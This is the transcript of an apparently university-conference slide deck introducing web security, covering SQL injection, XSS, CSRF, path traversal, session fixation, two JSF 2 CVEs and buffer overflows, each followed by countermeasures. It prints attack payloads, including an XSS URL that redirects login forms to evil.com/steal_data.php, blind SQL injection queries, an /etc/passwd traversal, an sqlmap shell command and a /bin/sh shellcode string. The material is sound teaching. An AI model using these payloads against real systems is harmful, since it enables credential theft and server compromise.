SlideShare a Scribd company logo
1 of 70
Introduction to web security
Jakob Korherr




                               1
Agenda

• $ whoami
• Basics of (web) security
• Web application architecture
• OWASP top 10
• SQL injection
• Cross site scripting (XSS)
• Cross site request forgery (XSRF)
• Path traversal
• Poor session management
• JSF 2 vulnerabilities
• Buffer overflows




                                      2
$ whoami

• Jakob Korherr


• Software engineer @ IRIAN Solutions GmbH
• Apache MyFaces committer and PMC member
• JSF 2.2 expert group member
• Student @ Vienna University of Technology
• Member of the winning team of the 2011 international capture the flag contest


• http://www.jakobk.com
• @jakobkorherr




                                                                                  3
Basics of
(web) security

                 4
Why Security?
          Year           # of reported vulnerabilities
                 1988                                2
                 1989                                3
                 1990                               11
                   ...                               ...
                 1998                              246
                 1999                              894
                 2000                             1020
                 2001                             1677
                 2002                             2156
                   ...                               ...
                 2006                             6608
                 2007                             6514
                 2008                             5632
                 2009                             5733
                 2010                             4639
                 2011                             4151

                                                      Source: http://web.nvd.nist.gov


                                                                                   5
Who is a h4xX0r?

• 24/7 in front of his computer
• Living in his parents‘ basement
• Long hair and beard
• Plump
• Socially awkward
• ...




                                    6
Who is a h4xX0r?

• 24/7 in front of his computer
• Living in his parents‘ basement
• Long hair and beard
• Plump
• Socially awkward
• ...




                                    6
Who is a h4xX0r?




           NG
• 24/7 in front of his computer
• Living in his parents‘ basement
• Long hair and beard




          O
• Plump
• Socially awkward




         R
• ...




        W                           6
Who is a h4xX0r (really)?

• Hackers want to understand things ...
• ... down to the last detail


• l33t sp34k


• Why do people hack into systems?
 • Recognition
 • Admiration
 • Curiosity
 • Power & Gain
 • Revenge
 • M.O.N.E.Y




                                          7
Who is a h4xX0r (really)?

• Hackers want to understand things ...
• ... down to the last detail


• l33t sp34k


• Why do people hack into systems?
 • Recognition
 • Admiration
 • Curiosity
 • Power & Gain
 • Revenge

 • M.O.N.E.Y


                                          7
The biggest problems

• Software development is perceived as
 • being easy (anyone can do it)
 • a matter of copying and pasting code snippets (including vulnerabilities)


• System and network administrators are not prepared
 • Insufficient resources
 • Lack of training


• Intruders are now leveraging the availability of broadband connections
 • Many connected home computers are vulnerable
 • Collections of compromised home computers are “good“ weapons (e.g., for DDOS,
   Spam, etc.).




                                                                               8
The biggest problems (2)

• Typical users are not aware of possible problems


• Security is not part of the development process
 • Security fixes on a “on-demand-basis”
 • Insecurity by design
 • Fixing bugs is more important than closing possible security holes


• Security is hard to measure
 • How likely is an abuse of a vulnerability?
 • How much does it cost when it happens?
 • How much would it cost to tackle it right away?




                                                                        9
Sicherheitslucken
              ¨
The biggest problems (3)

                                     Software implementation

 Software specification




                                                   (Unknown) side effects

             Missing or wrong functionality

                  (Vergleiche Thompson: Why security testing is hard, 2003)

           Internet Security SS10 | Hardening Systems                         7 / 46
                                                                              10
Methods of attacking

• Eavesdropping
 • getting copies of information without authorization
• Masquerading
 • sending messages with other‘s identity
• Message tampering
 • change content of message
• Replaying
 • store a message and send it again later
• Exploiting
 • using bugs in software to get access to a host
• Combinations
• Social engineering




                                                         11
Methods of attacking

• Eavesdropping
 • getting copies of information without authorization
• Masquerading
 • sending messages with other‘s identity
• Message tampering
 • change content of message
• Replaying
 • store a message and send it again later
• Exploiting
 • using bugs in software to get access to a host
• Combinations

• Social engineering


                                                         11
Social engineering

• Semi-technical attacks


• „Amateurs attack machines, professionals attack people“
  • Attack the weakest Link


• Dumpster diving
• Piggybacking
• Masquerading (over the phone)
• Phishing e-mails
• Information Retrieval
  • Company website (job ads!)
  • Social networks
• ...




                                                            12
Countermeasures

• User awareness + education


• „Security is a process, not a product“ (Bruce Schneier)


• Stay up to date
 • Update systems regularly (auto update!?)
 • Check Common Vulnerabilities and Exposures (CVE) lists


• Principle of least privilege


• Use knowledge obtained in this session (and in the workshop!)




                                                                  13
Web application
 architecture

                  14
Typical architecture




 Client 1
                       Webserver   Database-Server




 Client 2




 Client n




                                                     15
Typical architecture




 Client 1
                       Webserver      Database-Server




 Client 2



                       Webserver   Application-Server   Database-Server


 Client n




                                                                     15
Typical architecture          Apache2 + PHP, Perl
                                Tomcat, Jetty, ...
                               Python webserver
                                      ...




 Client 1
                       Webserver             Database-Server




 Client 2



                       Webserver         Application-Server    Database-Server


 Client n




                                                                            15
Typical architecture          Apache2 + PHP, Perl
                                Tomcat, Jetty, ...
                               Python webserver
                                      ...

                                                             MySQL, MSSQL,
                                                         Oracle 11g, PostgreSQL,...




 Client 1
                       Webserver             Database-Server




 Client 2



                       Webserver         Application-Server      Database-Server


 Client n




                                                                               15
Typical architecture          Apache2 + PHP, Perl
                                Tomcat, Jetty, ...
                               Python webserver
                                      ...

                                                             MySQL, MSSQL,
                                                         Oracle 11g, PostgreSQL,...




 Client 1
                       Webserver             Database-Server

                                                                EJB-Container



 Client 2



                       Webserver         Application-Server      Database-Server


 Client n




                                                                                15
OWASP Top 10


               16
Open Web Application Security Project - Top 10

1. Injection
2. Cross-Site Scripting (XSS)
3. Broken Authentication and Session Management
4. Insecure Direct Object References
5. Cross-Site Request Forgery (CSRF)
6. Security Misconfiguration
7. Insecure Cryptographic Storage
8. Failure to Restrict URL Access
9. Insufficient Transport Layer Protection
10. Unvalidated Redirects and Forwards

Source: https://www.owasp.org/index.php/Top_10_2010-Main




                                                           17
Open Web Application Security Project - Top 10

1. Injection
2. Cross-Site Scripting (XSS)
3. Broken Authentication and Session Management
4. Insecure Direct Object References
5. Cross-Site Request Forgery (CSRF)
6. Security Misconfiguration
7. Insecure Cryptographic Storage
8. Failure to Restrict URL Access
9. Insufficient Transport Layer Protection
10. Unvalidated Redirects and Forwards




                                                  18
Open Web Application Security Project - Top 10

1. Injection
2. Cross-Site Scripting (XSS)
3. Broken Authentication and Session Management
4. Insecure Direct Object References
5. Cross-Site Request Forgery (CSRF)
6. Security Misconfiguration
7. Insecure Cryptographic Storage
8. Failure to Restrict URL Access
9. Insufficient Transport Layer Protection
10. Unvalidated Redirects and Forwards


• Buffer overflows
  • used to be #5 (in 2004)
  • pretty good countermeasures available


                                                  18
SQL injection


                19
SQL injection - Example

• Web application login form
 • username
 • password


• SQL statement checking the login data
   String stmt = "SELECT * FROM users " +
                     "WHERE username='" + username + "' " +
                     "AND password='" + password + "';";


• Nice user: „peter“ + „superstrongpwd“
  ... WHERE username='peter' AND password='superstrongpwd';


• Bad user: „jakob“ + „' OR 1=1;-- “
  ... WHERE username='jakob' AND password='' OR 1=1;-- ';



                                                              20
Definition

• SQL injection is a mechanism
 • to change the semantics of a given SQL query
 • by providing special input
 • not thought of by the developer

• Various forms of SQL injection
 • „normal“
 • semi-blind
 • blind

• SQL injection can be used to
 • Read and write data
 • Read and write files
   • Create a Reverse-Shell --> SSH connection
 • ...


                                                  21
„Normal“ SQL injection

• SQL injection on querys that produce output
 • list of customers, products,...
 • details of a specific customer
 • ...
• --> Produces immediate result


• Example
  stmt = "SELECT id, firstname, lastname FROM customers " +
             "WHERE city='" + city + "';";
• Exploit
  ' UNION SELECT id, username, password FROM users;--
• Result
 SELECT id, firstname, lastname FROM customers WHERE city=''
 UNION SELECT id, username, password FROM users;-- ';



                                                               22
Semi-Blind SQL injection

• SQL injection on querys that do not produce output, but show (error) messages
 • Login forms
 • Forgotten password forms
 • UPDATE, INSERT queries

• Example
  "SELECT * FROM user WHERE email='" + email + "';"


• Messages
 • „Valid e-mail address.“
 • „No user with given e-mail address found.“




                                                                              23
Semi-Blind SQL injection - Approach #1

• Use (error) messages to detect if injected condition is true or false


• First: Find a valid e-mail address in the system, e.g. „asdf@asdf.com“
 • --> Message: „Valid e-mail address.“
• Second: Break the query
  ...WHERE email='asdf@asdf.com' AND 1=0;-- '
 • --> Message: „No user with given e-mail address found.“
• Third: Use subqueries to extract information
  asdf@asdf.com' AND
       (SELECT substr(password,1,1) FROM user
             WHERE username='admin')='a';--
 • „Valid e-mail address.“ --> First char in password of admin is an 'a‘
 • „No user with given e-mail address found.“ --> ... is not an 'a‘
• --> Use binary search!



                                                                           24
Semi-Blind SQL injection - Approach #2

• Use error messages of database to deliver payload

• Method #1: Deliberately create SQL statements that fail
 • e.g. sub-query that returns one result or more than one result
 • Use same idea as before --> binary search


• Method #2: Use DB functions that can deliver payload in their error messages
 • e.g. utl_inaddr.get_host_name('whatever') from Oracle
 • --> ORA-29257: host 'whatever' unknown

 ' OR utl_inaddr.get_host_name(
     SELECT password FROM user WHERE username='admin')='xyz';--

 • --> ORA-29257: host 'adminpwd' unknown




                                                                                 25
Blind SQL injection

• No output, no (error) messages
• --> use other metric, e.g. response time of website


• Inject a boolean condition (as we had before)
• + add a very heavy calculation (takes time!)


 asdf@asdf.com'
     AND (SELECT substr(password,1,1) FROM user
             WHERE username='admin')='a'
     AND BENCHMARK(1000000,ENCODE('hello','goodbye'));--


• Condition is true: BENCHMARK is executed --> response time e.g. 5 seconds
• Condition is false: BENCHM. is not executed --> response time e.g. 0.1 seconds




                                                                                   26
Tool support

• sqlmap
 • http://sqlmap.sourceforge.net/
 • „sqlmap is an open source penetration testing tool that automates the process of
   detecting and exploiting SQL injection flaws and taking over of database servers.“
 • python script
 • lots of features


 python sqlmap.py 
     -u http://acme.com/show_customer.php?id=1 
     -p id 
     --sql-shell


 • --> Workshop!




                                                                                    27
Countermeasures

• First idea: Escape all user inputs
 • very easy to forget something (new/unknown database features)
 • attackers are creative!
   • use ascii(substr(password,1,1)) = 65
   • instead of substr(password,1,1) = 'A'

• Use PREPARED STATEMENTS
  String query = "SELECT * FROM user WHERE email=?;"
  PreparedStatement ps = connection.prepareStatement(query);
  ps.setString(1, email);
  ResultSet rs = ps.executeQuery();

• White listing of user input
• Do not show error messages from the database server
• Put the database server and the web server on separate (virtual) machines


                                                                              28
Countermeasures

• First idea: Escape all user inputs
 • very easy to forget something (new/unknown database features)
 • attackers are creative!
   • use ascii(substr(password,1,1)) = 65
   • instead of substr(password,1,1) = 'A'

• Use PREPARED STATEMENTS
  String query = "SELECT * FROM user WHERE email=?;"
  PreparedStatement ps = connection.prepareStatement(query);
  ps.setString(1, email);
  ResultSet rs = ps.executeQuery();

• White listing of user input
• Do not show error messages from the database server
• Put the database server and the web server on separate (virtual) machines


                                                                              28
Cross site scripting
      (XSS)

                       29
Cross site scripting (XSS)

• Insert malicious JavaScript into other (trusted) websites


• Stored XSS
 • JavaScript permanently stored
 • e.g. forum post, blog comment
• Reflected XSS
 • JavaScript injected via URL (parameters)
 • e.g. error messages
 • Needs social engineering


• Usages
 • User login data stealing
 • Browser history stealing
 • Exploiting of browser vulnerabilities



                                                              30
XSS - Example

• Login form
 • Username and password
 • Submits to http://acme.com/login.php

• Form submit using invalid data
 • Redirect to http://acme.com/login.php?msg=Invalid%20login%20data
 • msg URL parameter included in HTML

• Attacker can use msg parameter to add malicious JavaScript --> reflected XSS
     window.onload = function() {
          document.forms[0].action=
               'http://evil.com/steal_data.php';
    };

 http://acme.com/login.php?msg=%3Cscript%3Ewindow.onload%20%3D
 %20function%28%29%20%7Bdocument.forms%5B0%5D.action%3D%27http%3A
 %2f%2fevil.com%2fsteal_data.php%27%3B%7D%3B%3C%2fscript%3E


                                                                                 31
Countermeasures

• Encode every variable included in HTML
 • User input (e.g. forum posts)
 • Application data transported via URLs or cookies (e.g. messages)


• Use correct encoding method, depending on place in HTML
 • HTML element content --> HTML escape
 • HTML attribute content --> attribute escape
 • JavaScript data values --> JavaScript escape
 • HTML style properties --> CSS escape
 • HTML URL parameter values --> URL escape


• White listing!




                                                                      32
Cross site request
 forgery (XSRF)

                     33
Cross site request forgery (XSRF)

• Trick users into executing unwanted actions
 • on other web applications
 • he/she is currently authenticated at


• One browser session for all browser tabs (and windows)


• Needs social engineering
 • Link distribution




                                                           34
XSRF - Example

• Company web application
• Action to add a new user
  • http://acme.com/admin/add_user.php?username=username&pwd=pwd

• Admin currently logged in
• Gets link from attacker to http://fun.com/you_gotta_see_this.html
  ...
  <img src="http://acme.com/admin/add_user.php?
  username=attacker&pwd=attackerpwd" />
  ...

• Browser loads the "image"
 • Adds session-ID for acme.com in the request

• --> Admin unintentionally creates new user for attacker




                                                                      35
Countermeasures

• Just use POST instead of GET requests for data manipulation?
 • NO!!!!
 • Attacker can trick user into clicking on form that issues a POST request
 • or attacker can insert JavaScript that issues POST request
 • Nevertheless: it's a good idea to use POST requests


• Use shared secret (anti XSRF token)
• Use random request parameter names    }   do not forget XSS!




                                                                              36
Path traversal


                 37
Path traversal

• OWASP "Insecure direct object reference"


• Application references resources directly via name/identifier
 • Attacker can guess name/identifier of "hidden" resources and access them


• Example
 • Web application showing files of the user's home directory
 • http://acme.com/list_user_files.php
   • test.txt
   • hello_world.txt
   • ...
 • http://acme.com/show_file.php?file=test.txt
• Exploit
  • http://acme.com/show_file.php?file=../../../../etc/passwd



                                                                              38
Countermeasures

• White listing of user inputs
 • Good idea, but easy to forget something
 • e.g. just remove "../" from beginning
 • --> show_file.php?file=folder/../../../../etc/passwd


• Better: Reference resources via (temporary) identifiers
  • http://acme.com/list_user_files.php
   • test.txt --> 0
   • hello_world.txt --> 1
   • ... --> n
 • http://acme.com/show_file.php?file=0




                                                            39
Poor session
management

               40
Poor session management

• OWASP "Broken Authentication and Session Management"


• Cryptographically weak session IDs
 • Guessing of valid session ID
 • Brute force
 • --> Standard session IDs (Apache2, Tomcat,...) are strong!


• Social engineering
 • Attacker (masquerading as admin) sends e-mail to user
 • "You need to do ..."
 • "Please login using this link"
   • http://acme.com/login.php?PHPSESSID=123456789ABCDEF
 • --> Attacker waits until user logs in
 • --> Attacker uses same session ID as user --> gets access to the application



                                                                                  41
Countermeasures

• Bind session ID to IP address?
 • Can cause lots of problems

• Cryptographically strong session IDs
 • Use standard session ID generators (proofed to be secure)
 • Do not use "home grown" algorithms

• After user login destroy the old session (used for the login)
 • and use a new one --> new session ID

 HttpSession session = request.getSession(); // old session
 // use old session --> authenticate user
 session.invalidate(); // destroy old session
 session = request.getSession(true); // create new session
 // use new session to store auth-tokens,...



                                                                  42
JSF 2 vulnerabilities


                        43
JSF 2 vulnerabilities

• CVE-2011-4367: Path traversal attack in ResourceHandler
 • February 2012
 • MyFaces Core 2.0.0 - 2.0.11 and 2.1.0 - 2.1.5
 • http://<hostname>:<port>/<context-root>/faces/
   javax.faces.resource/web.xml?ln=../WEB-INF


• CVE-2011-4343: ValueExpression injection vulnerability
 • December 2011
 • Mojarra 2.0.0 - 2.0.6 and 2.1.0 - 2.1.4
 • MyFaces Core 2.0.1 - 2.0.10 and 2.1.0 - 2.1.4
 • <f:viewParam name="p" value="#{bean.value}" />
 • --> http://acme.com/faces/test.xhtml?p=#{user.password}
 • --> Invoke navigation case using includeViewParams=true
 • JSF re-evaluates value of view parameter p --> #{user.password}



                                                                     44
JSF 2 vulnerabilities

• CVE-2011-4367: Path traversal attack in ResourceHandler
 • February 2012
 • MyFaces Core 2.0.0 - 2.0.11 and 2.1.0 - 2.1.5
 • http://<hostname>:<port>/<context-root>/faces/
   javax.faces.resource/web.xml?ln=../WEB-INF


• CVE-2011-4343: ValueExpression injection vulnerability
 • December 2011
 • Mojarra 2.0.0 - 2.0.6 and 2.1.0 - 2.1.4
 • MyFaces Core 2.0.1 - 2.0.10 and 2.1.0 - 2.1.4
 • <f:viewParam name="p" value="#{bean.value}" />
 • --> http://acme.com/faces/test.xhtml?p=#{user.password}
 • --> Invoke navigation case using includeViewParams=true
 • JSF re-evaluates value of view parameter p --> #{user.password}



                                                                     44
JSF 2 vulnerabilities


                         t s!
• CVE-2011-4367: Path traversal attack in ResourceHandler

                        s k
 • February 2012
                       e r
                      w o
                     e w
 • MyFaces Core 2.0.0 - 2.0.11 and 2.1.0 - 2.1.5

                   n e
 • http://<hostname>:<port>/<context-root>/faces/

                  e m
   javax.faces.resource/web.xml?ln=../WEB-INF

                th fra
               e r
              s u
• CVE-2011-4343: ValueExpression injection vulnerability

             u o
            ) y
 • December 2011


          to f
 • Mojarra 2.0.0 - 2.0.6 and 2.1.0 - 2.1.4

        y
       r so
 • MyFaces Core 2.0.1 - 2.0.10 and 2.1.0 - 2.1.4

     (t n
 • <f:viewParam name="p" value="#{bean.value}" />


 -> sio
 • --> http://acme.com/faces/test.xhtml?p=#{user.password}
- r
 • --> Invoke navigation case using includeViewParams=true


  v e
 • JSF re-evaluates value of view parameter p --> #{user.password}



                                                                     44
Buffer overflows


                   45
Buffer overflows

• Program attempts to put more data in a buffer than it can hold
 • Overwriting subsequent memory locations

• Only in languages without automatic memory management
 • mostly C, C++
 • --> NOT in Java, Python, Ruby, Perl, .NET (but: unmanaged code!), ...

• Variations
 • Stack-based
 • Heap-based

 void foo(char *string) // can be arbitrarily long
 {
     char buffer[512]; // can hold 511 chars (+ '0')
     strcpy(buffer, string); // potential buffer overflow!
 }


                                                                           46
Memory layout
                                           0xffffffff
                                                        kernel
• Stack segment                            0xc0000000
 • local variables                                      environment variables
 • procedure activation records
 • (return address, function parameters, ...)           stack

• Data segment
 • global uninitialized variables (.bss)
 • global initialized variables (.data)
 • dynamic variables (heap)
                                                        heap
• Code (.text) segment
 • program instructions                                 data (.bss)
 • usually read-only                                    data (.data)
                                                        data (.text)
                                           0x00000000   shared libraries
                                                                                47
Stack frame

                 Previous frame


                   Parameters

                 Return address

              Previous frame address
       EBP


                  Local variables


       ESP

                  Free memory




                                       48
Stack frame

                   Previous frame


                       Parameters

                   Return address

               Previous frame address
       EBP
              buffer
                   Local variables


       ESP

                       Free memory




                                        48
Stack frame

                   Previous frame


                       Parameters

                   Return address

               Previous frame address
       EBP
              buffer
                   Local variables


       ESP

                       Free memory




                                        48
Stack frame

                   Previous frame
                                           Overwrite function
                                            return address

                       Parameters        --> Function returns to
                                        address that we control
                   Return address

               Previous frame address
       EBP
              buffer
                   Local variables


       ESP

                       Free memory




                                                                48
Choosing where to jump

• Address inside a buffer of which the attacker controls the content
 • PRO: works for remote attacks
 • CON: the attacker needs to know the address of the buffer, the memory page
   containing the buffer must be executable


• Address of a environment variable
 • PRO: easy to implement, works with tiny buffers
 • CON: only for local exploits, some programs clean the environment, the stack must
   be executable


• Address of a function inside the program
 • PRO: works for remote attacks, does not require an executable stack
 • CON: need to find the right code, one or more fake frames must be put on the
   stack




                                                                                  49
Shellcode

• Sequence of machine instructions that is executed when the attack is successful
• Traditionally, the goal was to spawn a shell (that explains the name “shell code”)
 • Has nothing to do with linux shell code (bash scripts, ...)


 void main (void)
 {
     char *name[2];
     name[0] = "/bin/sh";
     name[1] = NULL;
     execve(name[0], name, NULL);
 }


• Need some tricks to convert this into assembly without knowing exact addresses
• --> Use tools like Metasploit (--> Workshop!)



                                                                                       50
Shellcode (2)

 unsigned char *shellcode =
 "xbfxc8xd1x60xacxd9xf6xd9x74x24xf4x5dx29xc9xb1"
 "x11x31x7dx15x03x7dx15x83xedxfcxe2x3dxe0xa9x9d"
 "x66xf4xc9x6ex3cx36x8dxe5x37x91x17xabx21x49x05"
 "x2fx24x6ex3dx80x45x19xbexb6x86xbbxd7x28x51xd8"
 "x7ax5dx6ex1fx7bx9dx03x77x5bxa1xddxa7xb4xbdx44"
 "xdexe5x49xf2x67xfaxe6xa9x1ex1bxc5xcdx10x07xbc"
 "xccx0ax7axc1";


• Need to avoid 'x00' --> String terminator in C
  • Substitute instructions containing zeros with alternative instructions
     mov 0x0, reg --> xor reg, reg




                                                                             51
The root shell myth

• Just because you can do a buffer overflow, does NOT mean you get a root shell


• Only true for setuid programs
 • owner: root
 • setuid-bit set
 • --> program can be started by "any" user, but is run using root privileges


• "Fortunately" there are a lot of setuid programs
 • ping, traceroute, passwd, chsh, mount, umount, sudo, ...


$ ls -lisah /bin/ping
655424 36K -rwsr-xr-x 1 root root 34K 2011-05-03 12:38 /bin/ping




                                                                                  52
Countermeasures

• Use safe library functions
  • Allow specification of max size
  • e.g. strncpy() instead of strcpy()

• Use runtime checking (libsafe)

• Address Space Layout Randomization (ASLR)
    /proc/sys/kernel/randomize_va_space

• Non Executable Stack

• Stack protection                    Parameters

  • e.g. Canary values             Return address
                               Previous frame address
• ...                                  CANARY
                                   Local variables




                                                        53
The End


          54
What‘s next?

• Enjoy lunch!


• Spread the word
• Check out webgoat for web application security lessons
 • http://code.google.com/p/webgoat/

• Visit http://iseclab.org/

• Follow me on twitter via @jakobkorherr
• Visit my workshop




                              THANKS
• Slides will be available at http://www.jakobk.com shortly


                                                              55

More Related Content

What's hot

Web security presentation
Web security presentationWeb security presentation
Web security presentationJohn Staveley
 
Presentation on Top 10 Vulnerabilities in Web Application
Presentation on Top 10 Vulnerabilities in Web ApplicationPresentation on Top 10 Vulnerabilities in Web Application
Presentation on Top 10 Vulnerabilities in Web ApplicationMd Mahfuzur Rahman
 
Mutillidae and the OWASP Top 10 by Adrian Crenshaw aka Irongeek
Mutillidae and the OWASP Top 10 by Adrian Crenshaw aka IrongeekMutillidae and the OWASP Top 10 by Adrian Crenshaw aka Irongeek
Mutillidae and the OWASP Top 10 by Adrian Crenshaw aka IrongeekMagno Logan
 
In The Middle of Printers - The (In)Security of Pull Printing solutions - Hac...
In The Middle of Printers - The (In)Security of Pull Printing solutions - Hac...In The Middle of Printers - The (In)Security of Pull Printing solutions - Hac...
In The Middle of Printers - The (In)Security of Pull Printing solutions - Hac...Jakub Kałużny
 
Owasp advanced mobile-application-code-review-techniques-v0.2
Owasp advanced mobile-application-code-review-techniques-v0.2Owasp advanced mobile-application-code-review-techniques-v0.2
Owasp advanced mobile-application-code-review-techniques-v0.2drewz lin
 
Top Ten Web Hacking Techniques of 2012
Top Ten Web Hacking Techniques of 2012Top Ten Web Hacking Techniques of 2012
Top Ten Web Hacking Techniques of 2012Jeremiah Grossman
 
Protecting Java EE Web Apps with Secure HTTP Headers
Protecting Java EE Web Apps with Secure HTTP HeadersProtecting Java EE Web Apps with Secure HTTP Headers
Protecting Java EE Web Apps with Secure HTTP HeadersFrank Kim
 
Rich Web App Security - Keeping your application safe
Rich Web App Security - Keeping your application safeRich Web App Security - Keeping your application safe
Rich Web App Security - Keeping your application safeJeremiah Grossman
 
Xfocus xcon 2008_aks_oknock
Xfocus xcon 2008_aks_oknockXfocus xcon 2008_aks_oknock
Xfocus xcon 2008_aks_oknockownerkhan
 
OISF Aniversary: Active Defense - Helping threat actors hack themselves!
OISF Aniversary: Active Defense - Helping threat actors hack themselves!OISF Aniversary: Active Defense - Helping threat actors hack themselves!
OISF Aniversary: Active Defense - Helping threat actors hack themselves!ThreatReel Podcast
 
BSides Cleveland: Active Defense - Helping threat actors hack themselves!
BSides Cleveland: Active Defense - Helping threat actors hack themselves!BSides Cleveland: Active Defense - Helping threat actors hack themselves!
BSides Cleveland: Active Defense - Helping threat actors hack themselves!ThreatReel Podcast
 
Hacking the Web
Hacking the WebHacking the Web
Hacking the WebMike Crabb
 
WhiteHat Security "Website Security Statistics Report" (Q1'09)
WhiteHat Security "Website Security Statistics Report" (Q1'09)WhiteHat Security "Website Security Statistics Report" (Q1'09)
WhiteHat Security "Website Security Statistics Report" (Q1'09)Jeremiah Grossman
 
When Ajax Attacks! Web application security fundamentals
When Ajax Attacks! Web application security fundamentalsWhen Ajax Attacks! Web application security fundamentals
When Ajax Attacks! Web application security fundamentalsSimon Willison
 
04. xss and encoding
04.  xss and encoding04.  xss and encoding
04. xss and encodingEoin Keary
 
2010: A Web Hacking Odyssey - Top Ten Hacks of the Year
2010: A Web Hacking Odyssey - Top Ten Hacks of the Year2010: A Web Hacking Odyssey - Top Ten Hacks of the Year
2010: A Web Hacking Odyssey - Top Ten Hacks of the YearJeremiah Grossman
 
Introduction to Web Application Security - Blackhoodie US 2018
Introduction to Web Application Security - Blackhoodie US 2018Introduction to Web Application Security - Blackhoodie US 2018
Introduction to Web Application Security - Blackhoodie US 2018Niranjanaa Ragupathy
 

What's hot (20)

Web security presentation
Web security presentationWeb security presentation
Web security presentation
 
Presentation on Top 10 Vulnerabilities in Web Application
Presentation on Top 10 Vulnerabilities in Web ApplicationPresentation on Top 10 Vulnerabilities in Web Application
Presentation on Top 10 Vulnerabilities in Web Application
 
Mutillidae and the OWASP Top 10 by Adrian Crenshaw aka Irongeek
Mutillidae and the OWASP Top 10 by Adrian Crenshaw aka IrongeekMutillidae and the OWASP Top 10 by Adrian Crenshaw aka Irongeek
Mutillidae and the OWASP Top 10 by Adrian Crenshaw aka Irongeek
 
Phishing with Super Bait
Phishing with Super BaitPhishing with Super Bait
Phishing with Super Bait
 
In The Middle of Printers - The (In)Security of Pull Printing solutions - Hac...
In The Middle of Printers - The (In)Security of Pull Printing solutions - Hac...In The Middle of Printers - The (In)Security of Pull Printing solutions - Hac...
In The Middle of Printers - The (In)Security of Pull Printing solutions - Hac...
 
Owasp advanced mobile-application-code-review-techniques-v0.2
Owasp advanced mobile-application-code-review-techniques-v0.2Owasp advanced mobile-application-code-review-techniques-v0.2
Owasp advanced mobile-application-code-review-techniques-v0.2
 
Top Ten Web Hacking Techniques of 2012
Top Ten Web Hacking Techniques of 2012Top Ten Web Hacking Techniques of 2012
Top Ten Web Hacking Techniques of 2012
 
Protecting Java EE Web Apps with Secure HTTP Headers
Protecting Java EE Web Apps with Secure HTTP HeadersProtecting Java EE Web Apps with Secure HTTP Headers
Protecting Java EE Web Apps with Secure HTTP Headers
 
Rich Web App Security - Keeping your application safe
Rich Web App Security - Keeping your application safeRich Web App Security - Keeping your application safe
Rich Web App Security - Keeping your application safe
 
Starwest 2008
Starwest 2008Starwest 2008
Starwest 2008
 
Xfocus xcon 2008_aks_oknock
Xfocus xcon 2008_aks_oknockXfocus xcon 2008_aks_oknock
Xfocus xcon 2008_aks_oknock
 
OISF Aniversary: Active Defense - Helping threat actors hack themselves!
OISF Aniversary: Active Defense - Helping threat actors hack themselves!OISF Aniversary: Active Defense - Helping threat actors hack themselves!
OISF Aniversary: Active Defense - Helping threat actors hack themselves!
 
BSides Cleveland: Active Defense - Helping threat actors hack themselves!
BSides Cleveland: Active Defense - Helping threat actors hack themselves!BSides Cleveland: Active Defense - Helping threat actors hack themselves!
BSides Cleveland: Active Defense - Helping threat actors hack themselves!
 
Hacking the Web
Hacking the WebHacking the Web
Hacking the Web
 
WhiteHat Security "Website Security Statistics Report" (Q1'09)
WhiteHat Security "Website Security Statistics Report" (Q1'09)WhiteHat Security "Website Security Statistics Report" (Q1'09)
WhiteHat Security "Website Security Statistics Report" (Q1'09)
 
4.Xss
4.Xss4.Xss
4.Xss
 
When Ajax Attacks! Web application security fundamentals
When Ajax Attacks! Web application security fundamentalsWhen Ajax Attacks! Web application security fundamentals
When Ajax Attacks! Web application security fundamentals
 
04. xss and encoding
04.  xss and encoding04.  xss and encoding
04. xss and encoding
 
2010: A Web Hacking Odyssey - Top Ten Hacks of the Year
2010: A Web Hacking Odyssey - Top Ten Hacks of the Year2010: A Web Hacking Odyssey - Top Ten Hacks of the Year
2010: A Web Hacking Odyssey - Top Ten Hacks of the Year
 
Introduction to Web Application Security - Blackhoodie US 2018
Introduction to Web Application Security - Blackhoodie US 2018Introduction to Web Application Security - Blackhoodie US 2018
Introduction to Web Application Security - Blackhoodie US 2018
 

Viewers also liked

Top Ten Proactive Web Security Controls v5
Top Ten Proactive Web Security Controls v5Top Ten Proactive Web Security Controls v5
Top Ten Proactive Web Security Controls v5Jim Manico
 
Php & Web Security - PHPXperts 2009
Php & Web Security - PHPXperts 2009Php & Web Security - PHPXperts 2009
Php & Web Security - PHPXperts 2009mirahman
 
Security in Web 2.0, Social Web and Cloud
Security in Web 2.0, Social Web and CloudSecurity in Web 2.0, Social Web and Cloud
Security in Web 2.0, Social Web and CloudITDogadjaji.com
 
Cisco Study: State of Web Security
Cisco Study: State of Web Security Cisco Study: State of Web Security
Cisco Study: State of Web Security Cisco Canada
 
Modern Web Security
Modern Web SecurityModern Web Security
Modern Web SecurityBill Condo
 
Top 10 Web App Security Risks
Top 10 Web App Security RisksTop 10 Web App Security Risks
Top 10 Web App Security RisksSperasoft
 
Introduction to Web security
Introduction to Web securityIntroduction to Web security
Introduction to Web securityjeyaselvir
 
Web Server Web Site Security
Web Server Web Site SecurityWeb Server Web Site Security
Web Server Web Site SecuritySteven Cahill
 
Web Application Security
Web Application SecurityWeb Application Security
Web Application SecurityYnon Perek
 
DrupalCamp London 2017 - Web site insecurity
DrupalCamp London 2017 - Web site insecurity DrupalCamp London 2017 - Web site insecurity
DrupalCamp London 2017 - Web site insecurity George Boobyer
 
Tutorial 09 - Security on the Internet and the Web
Tutorial 09 - Security on the Internet and the WebTutorial 09 - Security on the Internet and the Web
Tutorial 09 - Security on the Internet and the Webdpd
 
Top 10 Web Security Vulnerabilities
Top 10 Web Security VulnerabilitiesTop 10 Web Security Vulnerabilities
Top 10 Web Security VulnerabilitiesCarol McDonald
 
網頁安全 Web security 入門 @ Study-Area
網頁安全 Web security 入門 @ Study-Area網頁安全 Web security 入門 @ Study-Area
網頁安全 Web security 入門 @ Study-AreaOrange Tsai
 
Lecture 6 web security
Lecture 6 web securityLecture 6 web security
Lecture 6 web securityrajakhurram
 

Viewers also liked (20)

Top Ten Proactive Web Security Controls v5
Top Ten Proactive Web Security Controls v5Top Ten Proactive Web Security Controls v5
Top Ten Proactive Web Security Controls v5
 
Php & Web Security - PHPXperts 2009
Php & Web Security - PHPXperts 2009Php & Web Security - PHPXperts 2009
Php & Web Security - PHPXperts 2009
 
Web Security
Web SecurityWeb Security
Web Security
 
Security in Web 2.0, Social Web and Cloud
Security in Web 2.0, Social Web and CloudSecurity in Web 2.0, Social Web and Cloud
Security in Web 2.0, Social Web and Cloud
 
Cisco Study: State of Web Security
Cisco Study: State of Web Security Cisco Study: State of Web Security
Cisco Study: State of Web Security
 
Web Security
Web SecurityWeb Security
Web Security
 
Modern Web Security
Modern Web SecurityModern Web Security
Modern Web Security
 
Top 10 Web App Security Risks
